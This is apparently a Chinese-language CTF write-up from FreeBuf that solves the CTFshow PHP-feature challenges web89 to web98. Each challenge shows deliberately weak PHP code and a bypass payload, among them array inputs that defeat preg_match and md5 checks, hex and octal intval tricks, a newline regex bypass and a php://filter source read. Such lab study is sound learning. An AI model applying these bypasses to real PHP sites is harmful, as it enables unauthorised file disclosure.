freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CTFshowPHP特性web89-web98题目详解
2022-02-07 00:05:57
所属地 河南

CTFshowPHP特性web89-web98题目详解

web89 函数特性

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

分析上面的代码可以看出,正则匹配0-9,匹配到则返回true,直接die,但是由于preg_match()只能处理字符串,当传入的是数组时将会返回false,从而绕过死亡函数。由于之前没怎么了解过intval函数,所以我直接选择查阅php手册【https://www.php.net/manual/zh/function.intval.php】查阅后发现 **intval()**函数用于获取变量的整数值。**intval()**函数通过使用指定的进制 base 转换(默认是十进制),返回变量var的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。也就是说,当给intval()函数传入一个非空的数组时,intval()函数将会返回1,结合我们preg_match()传入数组返回false的特性,这道题的payload就很清楚了。

?num[]=1

web90 函数特性 PHP比较运算符 ===

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){       #   === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等
        die("no no no!");
    }
    if(intval($num,0)===4476){ 
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

如下图所示,通过查询php手册,我们发现,当base为0时,会检测value的格式来决定使用的进制,所以我们可以通过把4476转换成16进制,经过base为0的intval函数处理,会识别16进制的4476,从而返回flag,又因为===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等,所以由于字符串类型不同会返回false,从而绕过死亡函数。

图片.png

?num=?num=0x117c

web91 PHP正则表达式

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){           #/i表示匹配大小写,/m表示多行匹配
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false
/m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if会返回true。

但是当不是多行匹配模式的时候,出现换行符 %0a的时,$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以php开头和以php结尾会返回false。

payload如下:

?cmd=aaa%0aphp

web92 函数特性 PHP比较运算符 ==

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

由于PHP比较运算符 ==在进行比较的时候,会先将字符串类型转化成相同,再比较值是否相等,所以当我们输入如下payload时,$num==4476的比较结果由于字符串类型相同,但是值不一样,所以返回false,而intval($num,0)==4476的比较结果,由于base为0,会自动识别为16进制,比较的结果为true,从而获得flag。

payload如下:

?num=0x117c

web93 函数特性 PHP比较运算符 ==

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

分析上面代码我们可以发现,相比上一题来说上面过滤了字母,我们可以选择使用八进制来绕过,从而获得flag,具体原理上面已经讲过这里不再赘述。除了使用八进制,我们还可以使用小数来绕过,例如4476.1 我们显然可以绕过第一个比较,又由于intval函数是取整数所以可以绕过第二个比较从而获得flag。

payload如下:

?num=4476.1
or
?num=010574       #4476的八进制

web94 函数特性 PHP比较运算符 ===

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){      #strpos()函数查找字符串在另一字符串中第一次出现的位置并返回。
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这道题目如果我们还用八进制的4476来绕过,那么会有一个问题,因为八进制需要开头指定为0,而strpos()会匹配到返回0,!0也就是1从而执行死亡函数,所以我们可以在八进制前面加一个空格,这样strpos()会返回1,所以我们把4476转换为8进制10574后,前面再加一个空格即可。

payload如下:

?num= 010574

web95 函数特性 PHP比较运算符 ==与===

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

这道题目和上一题相比,变成了弱比较,其他都没变,所以我们还是可以使用上一题的payload来获取flag。

payload如下:

?num= 010574

web96 PHP比较运算符 ==

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

由于是弱比较,所以可以通过加字符来绕过,例如下面的两种方法

?u=./flag.php
or
?u=php://filter/convert.base64-encode/resource=flag.php

web97 PHP比较运算符 === md5类型

if (isset($_POST['a']) and isset($_POST['b'])) {
	if ($_POST['a'] != $_POST['b'])
		if (md5($_POST['a']) === md5($_POST['b']))
			echo $flag;
	else
		print 'Wrong.';
}

这一道题涉及到了强比较的md5类型,从代码我们可以得知,要求a、b两个值不一样但是需要这两个值得md5值一样,因此强比较类型,我们可以利用md5函数处理数组类型会返回false的特性,从而利用false=false来绕过。之前写过一篇总结相关知识点的文章链接如下:https://www.freebuf.com/articles/web/321300.html

payload:

a[]=1&b[]=2

web98

$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

分析上面的代码可以看出来,只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址),而第二三行代码没啥用,我们用不到,直接看第四行,如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag。所以思路就有了,我们通过get随便传一个参数并赋值,然后我们通过post请求传HTTP_FLAG参数并赋值为flag即可获得flag。

图片.png

payload如下:

?1=2

POST: HTTP_FLAG=flag
# php安全 # ctf web # ctf靶场系列 # CTF知识
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录